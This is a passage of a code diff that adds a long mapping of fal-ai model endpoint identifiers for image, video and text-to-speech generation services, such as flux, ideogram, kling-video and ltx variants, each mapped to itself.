'fal-ai/flux-2/klein/9b/base/lora', + 'fal-ai/flux-2/klein/9b/edit': 'fal-ai/flux-2/klein/9b/edit', + 'fal-ai/flux-2/klein/9b/edit/lora': 'fal-ai/flux-2/klein/9b/edit/lora', + 'fal-ai/flux-2/klein/9b/lora': 'fal-ai/flux-2/klein/9b/lora', + 'fal-ai/flux-2/klein/realtime': 'fal-ai/flux-2/klein/realtime', + 'fal-ai/flux-2/lora': 'fal-ai/flux-2/lora', + 'fal-ai/flux-2/lora/edit': 'fal-ai/flux-2/lora/edit', + 'fal-ai/flux-2/turbo': 'fal-ai/flux-2/turbo', + 'fal-ai/flux-2/turbo/edit': 'fal-ai/flux-2/turbo/edit', + 'fal-ai/flux-3-action/so101': 'fal-ai/flux-3-action/so101', + 'fal-ai/flux-general': 'fal-ai/flux-general', + 'fal-ai/flux-general/differential-diffusion': + 'fal-ai/flux-general/differential-diffusion', + 'fal-ai/flux-general/image-to-image': 'fal-ai/flux-general/image-to-image', + 'fal-ai/flux-general/inpainting': 'fal-ai/flux-general/inpainting', + 'fal-ai/flux-general/rf-inversion': 'fal-ai/flux-general/rf-inversion', + 'fal-ai/flux-kontext-lora': 'fal-ai/flux-kontext-lora', + 'fal-ai/flux-kontext-lora/inpaint': 'fal-ai/flux-kontext-lora/inpaint', + 'fal-ai/flux-kontext-lora/text-to-image': + 'fal-ai/flux-kontext-lora/text-to-image', + 'fal-ai/flux-kontext/dev': 'fal-ai/flux-kontext/dev', + 'fal-ai/flux-krea-lora': 'fal-ai/flux-krea-lora', + 'fal-ai/flux-krea-lora/image-to-image': + 'fal-ai/flux-krea-lora/image-to-image', + 'fal-ai/flux-krea-lora/inpainting': 'fal-ai/flux-krea-lora/inpainting', + 'fal-ai/flux-krea-lora/stream': 'fal-ai/flux-krea-lora/stream', + 'fal-ai/flux-lora': 'fal-ai/flux-lora', + 'fal-ai/flux-lora-canny': 'fal-ai/flux-lora-canny', + 'fal-ai/flux-lora-depth': 'fal-ai/flux-lora-depth', + 'fal-ai/flux-lora-fill': 'fal-ai/flux-lora-fill', + 'fal-ai/flux-lora/image-to-image': 'fal-ai/flux-lora/image-to-image', + 'fal-ai/flux-lora/inpainting': 'fal-ai/flux-lora/inpainting', + 'fal-ai/flux-lora/stream': 'fal-ai/flux-lora/stream', + 'fal-ai/flux-pro/kontext': 'fal-ai/flux-pro/kontext', + 'fal-ai/flux-pro/kontext/max': 'fal-ai/flux-pro/kontext/max', + 'fal-ai/flux-pro/kontext/max/multi': 'fal-ai/flux-pro/kontext/max/multi', + 'fal-ai/flux-pro/kontext/max/text-to-image': + 'fal-ai/flux-pro/kontext/max/text-to-image', + 'fal-ai/flux-pro/kontext/multi': 'fal-ai/flux-pro/kontext/multi', + 'fal-ai/flux-pro/kontext/text-to-image': + 'fal-ai/flux-pro/kontext/text-to-image', + 'fal-ai/flux-pro/v1.1': 'fal-ai/flux-pro/v1.1', + 'fal-ai/flux-pro/v1.1-ultra': 'fal-ai/flux-pro/v1.1-ultra', + 'fal-ai/flux-pro/v1.1-ultra-finetuned': + 'fal-ai/flux-pro/v1.1-ultra-finetuned', + 'fal-ai/flux-pro/v1.1-ultra/redux': 'fal-ai/flux-pro/v1.1-ultra/redux', + 'fal-ai/flux-pro/v1.1/redux': 'fal-ai/flux-pro/v1.1/redux', + 'fal-ai/flux-pro/v1/erase': 'fal-ai/flux-pro/v1/erase', + 'fal-ai/flux-pro/v1/fill': 'fal-ai/flux-pro/v1/fill', + 'fal-ai/flux-pro/v1/fill-finetuned': 'fal-ai/flux-pro/v1/fill-finetuned', + 'fal-ai/flux-pro/v1/vto': 'fal-ai/flux-pro/v1/vto', + 'fal-ai/flux-pulid': 'fal-ai/flux-pulid', + 'fal-ai/flux-vision-upscaler': 'fal-ai/flux-vision-upscaler', + 'fal-ai/flux/dev': 'fal-ai/flux/dev', + 'fal-ai/flux/dev/image-to-image': 'fal-ai/flux/dev/image-to-image', + 'fal-ai/flux/dev/redux': 'fal-ai/flux/dev/redux', + 'fal-ai/flux/krea': 'fal-ai/flux/krea', + 'fal-ai/flux/krea/image-to-image': 'fal-ai/flux/krea/image-to-image', + 'fal-ai/flux/krea/redux': 'fal-ai/flux/krea/redux', + 'fal-ai/flux/schnell': 'fal-ai/flux/schnell', + 'fal-ai/flux/schnell/redux': 'fal-ai/flux/schnell/redux', + 'fal-ai/flux/srpo': 'fal-ai/flux/srpo', + 'fal-ai/flux/srpo/image-to-image': 'fal-ai/flux/srpo/image-to-image', + 'fal-ai/fooocus': 'fal-ai/fooocus', + 'fal-ai/fooocus/image-prompt': 'fal-ai/fooocus/image-prompt', + 'fal-ai/fooocus/inpaint': 'fal-ai/fooocus/inpaint', + 'fal-ai/fooocus/upscale-or-vary': 'fal-ai/fooocus/upscale-or-vary', + 'fal-ai/framepack': 'fal-ai/framepack', + 'fal-ai/framepack/f1': 'fal-ai/framepack/f1', + 'fal-ai/framepack/flf2v': 'fal-ai/framepack/flf2v', + 'fal-ai/gemini-25-flash-image': 'fal-ai/gemini-25-flash-image', + 'fal-ai/gemini-25-flash-image/edit': 'fal-ai/gemini-25-flash-image/edit', + 'fal-ai/gemini-3-pro-image-preview': 'fal-ai/gemini-3-pro-image-preview', + 'fal-ai/gemini-3-pro-image-preview/edit': + 'fal-ai/gemini-3-pro-image-preview/edit', + 'fal-ai/gemini-3.1-flash-image-preview': + 'fal-ai/gemini-3.1-flash-image-preview', + 'fal-ai/gemini-3.1-flash-image-preview/edit': + 'fal-ai/gemini-3.1-flash-image-preview/edit', + 'fal-ai/gemini-3.1-flash-tts': 'fal-ai/gemini-3.1-flash-tts', + 'fal-ai/gemini-tts': 'fal-ai/gemini-tts', + 'fal-ai/glm-image': 'fal-ai/glm-image', + 'fal-ai/glm-image/image-to-image': 'fal-ai/glm-image/image-to-image', + 'fal-ai/gpt-image-1-mini': 'fal-ai/gpt-image-1-mini', + 'fal-ai/gpt-image-1-mini/edit': 'fal-ai/gpt-image-1-mini/edit', + 'fal-ai/gpt-image-1.5': 'fal-ai/gpt-image-1.5', + 'fal-ai/gpt-image-1.5/edit': 'fal-ai/gpt-image-1.5/edit', + 'fal-ai/heygen/avatar3/digital-twin': 'fal-ai/heygen/avatar3/digital-twin', + 'fal-ai/heygen/avatar4/digital-twin': 'fal-ai/heygen/avatar4/digital-twin', + 'fal-ai/heygen/avatar4/image-to-video': + 'fal-ai/heygen/avatar4/image-to-video', + 'fal-ai/heygen/avatar5/digital-twin': 'fal-ai/heygen/avatar5/digital-twin', + 'fal-ai/heygen/v2/translate/precision': + 'fal-ai/heygen/v2/translate/precision', + 'fal-ai/heygen/v2/translate/speed': 'fal-ai/heygen/v2/translate/speed', + 'fal-ai/heygen/v2/video-agent': 'fal-ai/heygen/v2/video-agent', + 'fal-ai/heygen/v3/filler-word-removal': + 'fal-ai/heygen/v3/filler-word-removal', + 'fal-ai/heygen/v3/lipsync/precision': 'fal-ai/heygen/v3/lipsync/precision', + 'fal-ai/heygen/v3/lipsync/speed': 'fal-ai/heygen/v3/lipsync/speed', + 'fal-ai/heygen/v3/video-agent': 'fal-ai/heygen/v3/video-agent', + 'fal-ai/hidream-i1-fast': 'fal-ai/hidream-i1-fast', + 'fal-ai/hidream-i1-full': 'fal-ai/hidream-i1-full', + 'fal-ai/hidream-i1-full/image-to-image': + 'fal-ai/hidream-i1-full/image-to-image', + 'fal-ai/hidream-o1-image': 'fal-ai/hidream-o1-image', + 'fal-ai/hidream-o1-image/dev': 'fal-ai/hidream-o1-image/dev', + 'fal-ai/hidream-o1-image/dev/edit': 'fal-ai/hidream-o1-image/dev/edit', + 'fal-ai/hidream-o1-image/edit': 'fal-ai/hidream-o1-image/edit', + 'fal-ai/hunyuan_world': 'fal-ai/hunyuan_world', + 'fal-ai/hunyuan-image/v2.1/text-to-image': + 'fal-ai/hunyuan-image/v2.1/text-to-image', + 'fal-ai/hunyuan-image/v3/instruct/edit': + 'fal-ai/hunyuan-image/v3/instruct/edit', + 'fal-ai/hunyuan-image/v3/instruct/text-to-image': + 'fal-ai/hunyuan-image/v3/instruct/text-to-image', + 'fal-ai/hunyuan-image/v3/text-to-image': + 'fal-ai/hunyuan-image/v3/text-to-image', + 'fal-ai/hunyuan-video': 'fal-ai/hunyuan-video', + 'fal-ai/hunyuan-video-foley': 'fal-ai/hunyuan-video-foley', + 'fal-ai/hunyuan-video-image-to-video': 'fal-ai/hunyuan-video-image-to-video', + 'fal-ai/hunyuan-video-v1.5/image-to-video': + 'fal-ai/hunyuan-video-v1.5/image-to-video', + 'fal-ai/hunyuan-video-v1.5/text-to-video': + 'fal-ai/hunyuan-video-v1.5/text-to-video', + 'fal-ai/hunyuan-video/video-to-video': 'fal-ai/hunyuan-video/video-to-video', + 'fal-ai/hy-wu-edit': 'fal-ai/hy-wu-edit', + 'fal-ai/iclight-v2': 'fal-ai/iclight-v2', + 'fal-ai/id-v2v': 'fal-ai/id-v2v', + 'fal-ai/id-v2v/relight': 'fal-ai/id-v2v/relight', + 'fal-ai/ideogram/character': 'fal-ai/ideogram/character', + 'fal-ai/ideogram/character/edit': 'fal-ai/ideogram/character/edit', + 'fal-ai/ideogram/character/remix': 'fal-ai/ideogram/character/remix', + 'fal-ai/ideogram/object-removal': 'fal-ai/ideogram/object-removal', + 'fal-ai/ideogram/remove-background': 'fal-ai/ideogram/remove-background', + 'fal-ai/ideogram/upscale': 'fal-ai/ideogram/upscale', + 'fal-ai/ideogram/v2': 'fal-ai/ideogram/v2', + 'fal-ai/ideogram/v2/edit': 'fal-ai/ideogram/v2/edit', + 'fal-ai/ideogram/v2/remix': 'fal-ai/ideogram/v2/remix', + 'fal-ai/ideogram/v2/turbo': 'fal-ai/ideogram/v2/turbo', + 'fal-ai/ideogram/v2/turbo/edit': 'fal-ai/ideogram/v2/turbo/edit', + 'fal-ai/ideogram/v2/turbo/remix': 'fal-ai/ideogram/v2/turbo/remix', + 'fal-ai/ideogram/v2a': 'fal-ai/ideogram/v2a', + 'fal-ai/ideogram/v2a/remix': 'fal-ai/ideogram/v2a/remix', + 'fal-ai/ideogram/v2a/turbo': 'fal-ai/ideogram/v2a/turbo', + 'fal-ai/ideogram/v2a/turbo/remix': 'fal-ai/ideogram/v2a/turbo/remix', + 'fal-ai/ideogram/v3': 'fal-ai/ideogram/v3', + 'fal-ai/ideogram/v3/edit': 'fal-ai/ideogram/v3/edit', + 'fal-ai/ideogram/v3/generate-transparent': + 'fal-ai/ideogram/v3/generate-transparent', + 'fal-ai/ideogram/v3/layerize-text': 'fal-ai/ideogram/v3/layerize-text', + 'fal-ai/ideogram/v3/reframe': 'fal-ai/ideogram/v3/reframe', + 'fal-ai/ideogram/v3/remix': 'fal-ai/ideogram/v3/remix', + 'fal-ai/ideogram/v3/replace-background': + 'fal-ai/ideogram/v3/replace-background', + 'fal-ai/illusion-diffusion': 'fal-ai/illusion-diffusion', + 'fal-ai/image-apps-v2/age-modify': 'fal-ai/image-apps-v2/age-modify', + 'fal-ai/image-apps-v2/city-teleport': 'fal-ai/image-apps-v2/city-teleport', + 'fal-ai/image-apps-v2/expression-change': + 'fal-ai/image-apps-v2/expression-change', + 'fal-ai/image-apps-v2/hair-change': 'fal-ai/image-apps-v2/hair-change', + 'fal-ai/image-apps-v2/headshot-photo': 'fal-ai/image-apps-v2/headshot-photo', + 'fal-ai/image-apps-v2/makeup-application': + 'fal-ai/image-apps-v2/makeup-application', + 'fal-ai/image-apps-v2/object-removal': 'fal-ai/image-apps-v2/object-removal', + 'fal-ai/image-apps-v2/outpaint': 'fal-ai/image-apps-v2/outpaint', + 'fal-ai/image-apps-v2/perspective': 'fal-ai/image-apps-v2/perspective', + 'fal-ai/image-apps-v2/photo-restoration': + 'fal-ai/image-apps-v2/photo-restoration', + 'fal-ai/image-apps-v2/photography-effects': + 'fal-ai/image-apps-v2/photography-effects', + 'fal-ai/image-apps-v2/portrait-enhance': + 'fal-ai/image-apps-v2/portrait-enhance', + 'fal-ai/image-apps-v2/product-holding': + 'fal-ai/image-apps-v2/product-holding', + 'fal-ai/image-apps-v2/product-photography': + 'fal-ai/image-apps-v2/product-photography', + 'fal-ai/image-apps-v2/relighting': 'fal-ai/image-apps-v2/relighting', + 'fal-ai/image-apps-v2/style-transfer': 'fal-ai/image-apps-v2/style-transfer', + 'fal-ai/image-apps-v2/texture-transform': + 'fal-ai/image-apps-v2/texture-transform', + 'fal-ai/image-apps-v2/virtual-try-on': 'fal-ai/image-apps-v2/virtual-try-on', + 'fal-ai/image-editing/age-progression': + 'fal-ai/image-editing/age-progression', + 'fal-ai/image-editing/baby-version': 'fal-ai/image-editing/baby-version', + 'fal-ai/image-editing/background-change': + 'fal-ai/image-editing/background-change', + 'fal-ai/image-editing/broccoli-haircut': + 'fal-ai/image-editing/broccoli-haircut', + 'fal-ai/image-editing/cartoonify': 'fal-ai/image-editing/cartoonify', + 'fal-ai/image-editing/color-correction': + 'fal-ai/image-editing/color-correction', + 'fal-ai/image-editing/expression-change': + 'fal-ai/image-editing/expression-change', + 'fal-ai/image-editing/face-enhancement': + 'fal-ai/image-editing/face-enhancement', + 'fal-ai/image-editing/hair-change': 'fal-ai/image-editing/hair-change', + 'fal-ai/image-editing/object-removal': 'fal-ai/image-editing/object-removal', + 'fal-ai/image-editing/photo-restoration': + 'fal-ai/image-editing/photo-restoration', + 'fal-ai/image-editing/plushie-style': 'fal-ai/image-editing/plushie-style', + 'fal-ai/image-editing/professional-photo': + 'fal-ai/image-editing/professional-photo', + 'fal-ai/image-editing/realism': 'fal-ai/image-editing/realism', + 'fal-ai/image-editing/reframe': 'fal-ai/image-editing/reframe', + 'fal-ai/image-editing/retouch': 'fal-ai/image-editing/retouch', + 'fal-ai/image-editing/scene-composition': + 'fal-ai/image-editing/scene-composition', + 'fal-ai/image-editing/style-transfer': 'fal-ai/image-editing/style-transfer', + 'fal-ai/image-editing/text-removal': 'fal-ai/image-editing/text-removal', + 'fal-ai/image-editing/time-of-day': 'fal-ai/image-editing/time-of-day', + 'fal-ai/image-editing/weather-effect': 'fal-ai/image-editing/weather-effect', + 'fal-ai/image-editing/wojak-style': 'fal-ai/image-editing/wojak-style', + 'fal-ai/image-editing/youtube-thumbnails': + 'fal-ai/image-editing/youtube-thumbnails', + 'fal-ai/image-preprocessors/depth-anything/v2': + 'fal-ai/image-preprocessors/depth-anything/v2', + 'fal-ai/image-preprocessors/hed': 'fal-ai/image-preprocessors/hed', + 'fal-ai/image-preprocessors/lineart': 'fal-ai/image-preprocessors/lineart', + 'fal-ai/image-preprocessors/midas': 'fal-ai/image-preprocessors/midas', + 'fal-ai/image-preprocessors/mlsd': 'fal-ai/image-preprocessors/mlsd', + 'fal-ai/image-preprocessors/pidi': 'fal-ai/image-preprocessors/pidi', + 'fal-ai/image-preprocessors/sam': 'fal-ai/image-preprocessors/sam', + 'fal-ai/image-preprocessors/scribble': 'fal-ai/image-preprocessors/scribble', + 'fal-ai/image-preprocessors/teed': 'fal-ai/image-preprocessors/teed', + 'fal-ai/image-preprocessors/zoe': 'fal-ai/image-preprocessors/zoe', + 'fal-ai/image2pixel': 'fal-ai/image2pixel', + 'fal-ai/image2svg': 'fal-ai/image2svg', + 'fal-ai/imageutils/depth': 'fal-ai/imageutils/depth', + 'fal-ai/imageutils/marigold-depth': 'fal-ai/imageutils/marigold-depth', + 'fal-ai/imageutils/rembg': 'fal-ai/imageutils/rembg', + 'fal-ai/index-tts-2/text-to-speech': 'fal-ai/index-tts-2/text-to-speech', + 'fal-ai/infinity-star/text-to-video': 'fal-ai/infinity-star/text-to-video', + 'fal-ai/instant-character': 'fal-ai/instant-character', + 'fal-ai/inworld-tts': 'fal-ai/inworld-tts', + 'fal-ai/ip-adapter-face-id': 'fal-ai/ip-adapter-face-id', + 'fal-ai/kandinsky5-pro/image-to-video': + 'fal-ai/kandinsky5-pro/image-to-video', + 'fal-ai/kandinsky5-pro/text-to-video': 'fal-ai/kandinsky5-pro/text-to-video', + 'fal-ai/kandinsky5/text-to-video': 'fal-ai/kandinsky5/text-to-video', + 'fal-ai/kandinsky5/text-to-video/distill': + 'fal-ai/kandinsky5/text-to-video/distill', + 'fal-ai/kandinsky6-lite/image-to-video': + 'fal-ai/kandinsky6-lite/image-to-video', + 'fal-ai/kandinsky6-lite/text-to-video': + 'fal-ai/kandinsky6-lite/text-to-video', + 'fal-ai/kandinsky6-pro/image-to-video': + 'fal-ai/kandinsky6-pro/image-to-video', + 'fal-ai/kandinsky6-pro/text-to-video': 'fal-ai/kandinsky6-pro/text-to-video', + 'fal-ai/kandinsky6-vsr': 'fal-ai/kandinsky6-vsr', + 'fal-ai/kandinsky6-vsr/lite': 'fal-ai/kandinsky6-vsr/lite', + 'fal-ai/kling-image/o1': 'fal-ai/kling-image/o1', + 'fal-ai/kling-image/o3/image-to-image': + 'fal-ai/kling-image/o3/image-to-image', + 'fal-ai/kling-image/o3/text-to-image': 'fal-ai/kling-image/o3/text-to-image', + 'fal-ai/kling-image/v3/image-to-image': + 'fal-ai/kling-image/v3/image-to-image', + 'fal-ai/kling-image/v3/text-to-image': 'fal-ai/kling-image/v3/text-to-image', + 'fal-ai/kling-video/ai-avatar/v2/pro': 'fal-ai/kling-video/ai-avatar/v2/pro', + 'fal-ai/kling-video/ai-avatar/v2/standard': + 'fal-ai/kling-video/ai-avatar/v2/standard', + 'fal-ai/kling-video/create-voice': 'fal-ai/kling-video/create-voice', + 'fal-ai/kling-video/lipsync/audio-to-video': + 'fal-ai/kling-video/lipsync/audio-to-video', + 'fal-ai/kling-video/lipsync/text-to-video': + 'fal-ai/kling-video/lipsync/text-to-video', + 'fal-ai/kling-video/o1/image-to-video': + 'fal-ai/kling-video/o1/image-to-video', + 'fal-ai/kling-video/o1/reference-to-video': + 'fal-ai/kling-video/o1/reference-to-video', + 'fal-ai/kling-video/o1/standard/image-to-video': + 'fal-ai/kling-video/o1/standard/image-to-video', + 'fal-ai/kling-video/o1/standard/reference-to-video': + 'fal-ai/kling-video/o1/standard/reference-to-video', + 'fal-ai/kling-video/o1/standard/video-to-video/edit': + 'fal-ai/kling-video/o1/standard/video-to-video/edit', + 'fal-ai/kling-video/o1/standard/video-to-video/reference': + 'fal-ai/kling-video/o1/standard/video-to-video/reference', + 'fal-ai/kling-video/o1/video-to-video/edit': + 'fal-ai/kling-video/o1/video-to-video/edit', + 'fal-ai/kling-video/o1/video-to-video/reference': + 'fal-ai/kling-video/o1/video-to-video/reference', + 'fal-ai/kling-video/o3/4k/image-to-video': + 'fal-ai/kling-video/o3/4k/image-to-video', + 'fal-ai/kling-video/o3/4k/reference-to-video': + 'fal-ai/kling-video/o3/4k/reference-to-video', + 'fal-ai/kling-video/o3/4k/text-to-video': + 'fal-ai/kling-video/o3/4k/text-to-video', + 'fal-ai/kling-video/o3/4k/video-to-video/edit': + 'fal-ai/kling-video/o3/4k/video-to-video/edit', + 'fal-ai/kling-video/o3/4k/video-to-video/reference': + 'fal-ai/kling-video/o3/4k/video-to-video/reference', + 'fal-ai/kling-video/o3/pro/image-to-video': + 'fal-ai/kling-video/o3/pro/image-to-video', + 'fal-ai/kling-video/o3/pro/reference-to-video': + 'fal-ai/kling-video/o3/pro/reference-to-video', + 'fal-ai/kling-video/o3/pro/text-to-video': + 'fal-ai/kling-video/o3/pro/text-to-video', + 'fal-ai/kling-video/o3/pro/video-to-video/edit': + 'fal-ai/kling-video/o3/pro/video-to-video/edit', + 'fal-ai/kling-video/o3/pro/video-to-video/reference': + 'fal-ai/kling-video/o3/pro/video-to-video/reference', + 'fal-ai/kling-video/o3/standard/image-to-video': + 'fal-ai/kling-video/o3/standard/image-to-video', + 'fal-ai/kling-video/o3/standard/reference-to-video': + 'fal-ai/kling-video/o3/standard/reference-to-video', + 'fal-ai/kling-video/o3/standard/text-to-video': + 'fal-ai/kling-video/o3/standard/text-to-video', + 'fal-ai/kling-video/o3/standard/video-to-video/edit': + 'fal-ai/kling-video/o3/standard/video-to-video/edit', + 'fal-ai/kling-video/o3/standard/video-to-video/reference': + 'fal-ai/kling-video/o3/standard/video-to-video/reference', + 'fal-ai/kling-video/v1.5/pro/effects': 'fal-ai/kling-video/v1.5/pro/effects', + 'fal-ai/kling-video/v1.6/pro/effects': 'fal-ai/kling-video/v1.6/pro/effects', + 'fal-ai/kling-video/v1.6/standard/effects': + 'fal-ai/kling-video/v1.6/standard/effects', + 'fal-ai/kling-video/v1/pro/ai-avatar': 'fal-ai/kling-video/v1/pro/ai-avatar', + 'fal-ai/kling-video/v1/standard/ai-avatar': + 'fal-ai/kling-video/v1/standard/ai-avatar', + 'fal-ai/kling-video/v1/standard/effects': + 'fal-ai/kling-video/v1/standard/effects', + 'fal-ai/kling-video/v1/tts': 'fal-ai/kling-video/v1/tts', + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video', + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video', + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video', + 'fal-ai/kling-video/v2.6/pro/image-to-video': + 'fal-ai/kling-video/v2.6/pro/image-to-video', + 'fal-ai/kling-video/v2.6/pro/motion-control': + 'fal-ai/kling-video/v2.6/pro/motion-control', + 'fal-ai/kling-video/v2.6/pro/text-to-video': + 'fal-ai/kling-video/v2.6/pro/text-to-video', + 'fal-ai/kling-video/v2.6/standard/motion-control': + 'fal-ai/kling-video/v2.6/standard/motion-control', + 'fal-ai/kling-video/v3/4k/image-to-video': + 'fal-ai/kling-video/v3/4k/image-to-video', + 'fal-ai/kling-video/v3/4k/text-to-video': + 'fal-ai/kling-video/v3/4k/text-to-video', + 'fal-ai/kling-video/v3/pro/image-to-video': + 'fal-ai/kling-video/v3/pro/image-to-video', + 'fal-ai/kling-video/v3/pro/motion-control': + 'fal-ai/kling-video/v3/pro/motion-control', + 'fal-ai/kling-video/v3/pro/text-to-video': + 'fal-ai/kling-video/v3/pro/text-to-video', + 'fal-ai/kling-video/v3/standard/image-to-video': + 'fal-ai/kling-video/v3/standard/image-to-video', + 'fal-ai/kling-video/v3/standard/motion-control': + 'fal-ai/kling-video/v3/standard/motion-control', + 'fal-ai/kling-video/v3/standard/text-to-video': + 'fal-ai/kling-video/v3/standard/text-to-video', + 'fal-ai/kling-video/v3/turbo/pro/image-to-video': + 'fal-ai/kling-video/v3/turbo/pro/image-to-video', + 'fal-ai/kling-video/v3/turbo/pro/text-to-video': + 'fal-ai/kling-video/v3/turbo/pro/text-to-video', + 'fal-ai/kling-video/v3/turbo/standard/image-to-video': + 'fal-ai/kling-video/v3/turbo/standard/image-to-video', + 'fal-ai/kling-video/v3/turbo/standard/text-to-video': + 'fal-ai/kling-video/v3/turbo/standard/text-to-video', + 'fal-ai/kling-video/video-to-audio': 'fal-ai/kling-video/video-to-audio', + 'fal-ai/kokoro/american-english': 'fal-ai/kokoro/american-english', + 'fal-ai/kokoro/brazilian-portuguese': 'fal-ai/kokoro/brazilian-portuguese', + 'fal-ai/kokoro/british-english': 'fal-ai/kokoro/british-english', + 'fal-ai/kokoro/french': 'fal-ai/kokoro/french', + 'fal-ai/kokoro/hindi': 'fal-ai/kokoro/hindi', + 'fal-ai/kokoro/italian': 'fal-ai/kokoro/italian', + 'fal-ai/kokoro/japanese': 'fal-ai/kokoro/japanese', + 'fal-ai/kokoro/mandarin-chinese': 'fal-ai/kokoro/mandarin-chinese', + 'fal-ai/kokoro/spanish': 'fal-ai/kokoro/spanish', + 'fal-ai/kolors': 'fal-ai/kolors', + 'fal-ai/kolors/image-to-image': 'fal-ai/kolors/image-to-image', + 'fal-ai/krea-2/turbo': 'fal-ai/krea-2/turbo', + 'fal-ai/krea-2/turbo/lora': 'fal-ai/krea-2/turbo/lora', + 'fal-ai/krea-2/turbo/style': 'fal-ai/krea-2/turbo/style', + 'fal-ai/krea-wan-14b/text-to-video': 'fal-ai/krea-wan-14b/text-to-video', + 'fal-ai/krea-wan-14b/video-to-video': 'fal-ai/krea-wan-14b/video-to-video', + 'fal-ai/latentsync': 'fal-ai/latentsync', + 'fal-ai/leffa/pose-transfer': 'fal-ai/leffa/pose-transfer', + 'fal-ai/leffa/virtual-tryon': 'fal-ai/leffa/virtual-tryon', + 'fal-ai/lightx/recamera': 'fal-ai/lightx/recamera', + 'fal-ai/lightx/relight': 'fal-ai/lightx/relight', + 'fal-ai/live-portrait': 'fal-ai/live-portrait', + 'fal-ai/live-portrait/image': 'fal-ai/live-portrait/image', + 'fal-ai/longcat-image': 'fal-ai/longcat-image', + 'fal-ai/longcat-image/edit': 'fal-ai/longcat-image/edit', + 'fal-ai/longcat-single-avatar/audio-to-video': + 'fal-ai/longcat-single-avatar/audio-to-video', + 'fal-ai/longcat-single-avatar/image-audio-to-video': + 'fal-ai/longcat-single-avatar/image-audio-to-video', + 'fal-ai/longcat-video/distilled/image-to-video/480p': + 'fal-ai/longcat-video/distilled/image-to-video/480p', + 'fal-ai/longcat-video/distilled/image-to-video/720p': + 'fal-ai/longcat-video/distilled/image-to-video/720p', + 'fal-ai/longcat-video/distilled/text-to-video/480p': + 'fal-ai/longcat-video/distilled/text-to-video/480p', + 'fal-ai/longcat-video/distilled/text-to-video/720p': + 'fal-ai/longcat-video/distilled/text-to-video/720p', + 'fal-ai/longcat-video/image-to-video/480p': + 'fal-ai/longcat-video/image-to-video/480p', + 'fal-ai/longcat-video/image-to-video/720p': + 'fal-ai/longcat-video/image-to-video/720p', + 'fal-ai/longcat-video/text-to-video/480p': + 'fal-ai/longcat-video/text-to-video/480p', + 'fal-ai/longcat-video/text-to-video/720p': + 'fal-ai/longcat-video/text-to-video/720p', + 'fal-ai/lora': 'fal-ai/lora', + 'fal-ai/lora/image-to-image': 'fal-ai/lora/image-to-image', + 'fal-ai/lora/inpaint': 'fal-ai/lora/inpaint', + 'fal-ai/ltx-2.3-22b/audio-to-video': 'fal-ai/ltx-2.3-22b/audio-to-video', + 'fal-ai/ltx-2.3-22b/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora', + 'fal-ai/ltx-2.3-22b/extend-video': 'fal-ai/ltx-2.3-22b/extend-video', + 'fal-ai/ltx-2.3-22b/extend-video/lora': + 'fal-ai/ltx-2.3-22b/extend-video/lora', + 'fal-ai/ltx-2.3-22b/image-to-video': 'fal-ai/ltx-2.3-22b/image-to-video', + 'fal-ai/ltx-2.3-22b/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/text-to-video': 'fal-ai/ltx-2.3-22b/text-to-video', + 'fal-ai/ltx-2.3-22b/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/video-to-video': 'fal-ai/ltx-2.3-22b/video-to-video', + 'fal-ai/ltx-2.3-22b/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/video-to-video/lora', + 'fal-ai/ltx-2.3-quality/audio-to-video': + 'fal-ai/ltx-2.3-quality/audio-to-video', + 'fal-ai/ltx-2.3-quality/audio-to-video/lora': + 'fal-ai/ltx-2.3-quality/audio-to-video/lora', + 'fal-ai/ltx-2.3-quality/clean-plate': 'fal-ai/ltx-2.3-quality/clean-plate', + 'fal-ai/ltx-2.3-quality/colorization': 'fal-ai/ltx-2.3-quality/colorization', + 'fal-ai/ltx-2.3-quality/cross-eyed': 'fal-ai/ltx-2.3-quality/cross-eyed', + 'fal-ai/ltx-2.3-quality/day-to-night': 'fal-ai/ltx-2.3-quality/day-to-night', + 'fal-ai/ltx-2.3-quality/deblur': 'fal-ai/ltx-2.3-quality/deblur', + 'fal-ai/ltx-2.3-quality/decompression': + 'fal-ai/ltx-2.3-quality/decompression', + 'fal-ai/ltx-2.3-quality/extend-video': 'fal-ai/ltx-2.3-quality/extend-video', + 'fal-ai/ltx-2.3-quality/extend-video/lora': + 'fal-ai/ltx-2.3-quality/extend-video/lora', + 'fal-ai/ltx-2.3-quality/hdr': 'fal-ai/ltx-2.3-quality/hdr', + 